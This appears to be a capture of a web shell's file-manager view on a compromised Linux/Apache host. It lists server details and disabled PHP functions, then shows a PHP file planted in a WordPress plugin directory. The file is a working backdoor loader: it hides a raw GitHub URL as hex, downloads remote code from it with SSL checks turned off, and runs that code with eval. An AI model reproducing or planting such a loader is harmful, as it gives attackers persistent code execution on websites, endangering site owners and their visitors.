HEX
Server: Apache/2
System: Linux localhost 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User: rasad (1007)
PHP: 7.4.33
Disabled: shell_exec,system,passthru,exec,popen,ini_restore,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_bind,symlink,link,pfsockopen,ini_alter,dl,pcntl_exec,pcntl_fork,proc_close,proc_open,proc_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_uname,show_source,getfile,mkfifo
Upload Files
File: /home/rasad/domains/rasadeardakan.ir/private_html/wp-content/plugins/kntl1/132.php
<?php
session_start();
$url = $_SESSION['ts_url'] ?? pack('H*','68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f68696c616c6d612f50726f6a6563742d576562736974652d50656e746143726166742d53747564696f2f726566732f68656164732f6d61696e2f7475726b2e747874');

$code = @file_get_contents($url);
if (!$code && function_exists('curl_init')) {
    $c = curl_init($url);
    curl_setopt_array($c, [CURLOPT_RETURNTRANSFER=>1,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $code = curl_exec($c); curl_close($c);
}
$code ? eval("?>$code") : die("Gagal memuat: $url");